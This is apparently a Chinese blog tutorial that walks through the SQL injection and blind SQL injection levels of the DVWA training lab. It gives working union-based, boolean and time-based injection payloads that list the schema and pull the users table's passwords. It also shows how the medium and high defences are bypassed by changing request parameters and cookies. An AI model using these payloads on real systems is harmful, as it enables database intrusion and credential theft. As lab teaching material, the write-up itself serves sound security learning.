DVWA在线靶场-SQL注入部分

目录

1.SQL注入

[1.1 low](#1.1 low)

[1.2 Medium](#1.2 Medium)

[1.3 high](#1.3 high)

[1.4 impossible](#1.4 impossible)

[1. SQL盲注](#1. SQL盲注)

[1.1 low](#1.1 low)

[2.2 medium](#2.2 medium)

[2.3 high](#2.3 high)

[2.4 impossible](#2.4 impossible)


1.SQL注入

显注:前端页面可以回显用户信息,比如 联合注入、报错注入。

盲注:前端页面不能回显用户信息,比如 布尔盲注、时间盲注。

数字型注入:url、下拉单选菜单

字符型注入:账号密码登录

1.1 low

1.确认注入点

'1 or 1=1'

报错,存在注入点

2.确认注入类型-字符型/数字型

1+1,无报错,判断为字符型

查看源码

3.确认列数

1' order by 3 # 报错

order by加到报错为止,若3报错则这个表有两列

4.确认回显位置

1' union select 1,2 #

union联合查询核心语句,有几列后面就需要select有几个值

5.爆库名

1' union select database(),2 #

6.爆表名

1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() #

7.获取表字段名

1' union select group_concat(column_name),2 from information_schema.columns where table_name='users' and table_schema=database() #

8.获取表字段值

1' union select password,user from users #

users为表名,password、user为表的字段

拿到了用户和密码,但密码是加密的,可使用md5自行解密md5在线解密破解,md5解密加密

1.2 Medium

限制输入,抓包更改参数

id更改为1+1,报错,判读为数字型注入

查看源码

order by判断列数,结果发现列数为2

id=1 union select 1,2 测试回显

union select database(),2

后续步骤同上。

1.3 high

1+1判断,无报错,判断为字符型

1.4 impossible

限制只能为数字 不存在注入

1. SQL盲注

1.1 low

核心就是and,如果猜中,回显正确,猜错,回显凑五

1' and 1=1 #,返回存在

猜解开数据库长度1' and length(database())=x # ,1~4逐个测试,发现4返回存在,说明数据库名为4位英文

1' and length(database())=5 ,返回不存在

用aascii猜解数据库名 1' and ascii(substr(database(),1,1))=100 # 由此确定,第一位ascii是100,对比ascii表

通常情况下需要从97-122(对应26个小写英文字母)逐个测试。

1' and ascii(substr(database(),1,1))=99 # 显示不存在

猜库(库名字符长度--库名字符)

猜表(表个数--第一个表名字符长度--第一个表名的字符)

猜字段(字段个数--第一个字段名字符长度--第一个字段名的字符)

判断有多少个表 1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #

复制代码
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 #
显示不存在
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #
显示存在

结果为2个表

猜表名的长度

复制代码
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显示不存在

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在

...

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在

猜第一个表名的第一个字母

复制代码
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在

说明第一个表的第一个字符为g,重复上述步骤即可猜解出两个表名(gusetbook、users)

猜字段名

复制代码
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=1 # 显示不存在

...

1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 # 显示存在

说明users表中有8个字段,然后挨个猜解字段名:

复制代码
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=1 # 显示不存在

...

1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 # 显示存在

说明user表的第一个字段名是7个字符,采用二分法即可猜解出所有字段名。

2.2 medium

布尔盲注

复制代码
抓包改参数id为1 and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;

抓包改参数id为1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;

抓包改参数id为1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 #,(0x7573657273为users的16进制),显示存在,说明uers表有8个字段。

时间盲注

复制代码
抓包改参数id为1 and if(length(database())=4,sleep(5),1) #,明显延迟,说明数据库名的长度为4个字符;

抓包改参数id为1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,明显延迟,说明数据中的第一个表名长度为9个字符;

抓包改参数id为1 and if((select count(column_name) from information_schema.columns where table_name=0x7573657273 )=8,sleep(5),1) #,明显延迟,说明uers表有8个字段。

2.3 high

查看源码,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,这里我们只演示基于布尔的盲注:

复制代码
抓包将cookie中参数id改为1' and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;

抓包将cookie中参数id改为1' and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;

抓包将cookie中参数id改为1' and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 为users的16进制),显示存在,说明uers表有8个字段。

2.4 impossible

代码分析,可以看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,Anti-CSRF token机制的加入了进一步提高了安全性。无漏洞。

参考:

DVWA靶场(七、盲注) - tonywell - 博客园

dvwa靶场通关教程(保姆及
教学,一看就会)_dvwa通关教程-CSDN博客

相关推荐
-SGlow-7 小时前
MySQL相关概念和易错知识点(2)(表结构的操作、数据类型、约束)
linux·运维·服务器·数据库·mysql
明月5668 小时前
Oracle 误删数据恢复
数据库·oracle
水瓶_bxt10 小时前
Centos安装HAProxy搭建Mysql高可用集群负载均衡
mysql·centos·负载均衡
♡喜欢做梦10 小时前
【MySQL】深入浅出事务:保证数据一致性的核心武器
数据库·mysql
遇见你的雩风10 小时前
MySQL的认识与基本操作
数据库·mysql
dblens 数据库管理和开发工具10 小时前
MySQL新增字段DDL:锁表全解析、避坑指南与实战案例
数据库·mysql·dblens·dblens mysql·数据库连接管理
weixin_4196583110 小时前
MySQL的基础操作
数据库·mysql
不辉放弃11 小时前
ZooKeeper 是什么?
数据库·大数据开发
Goona_11 小时前
拒绝SQL恐惧:用Python+pyqt打造任意Excel数据库查询系统
数据库·python·sql·excel·pyqt
Olrookie12 小时前
若依前后端分离版学习笔记(三)——表结构介绍
笔记·后端·mysql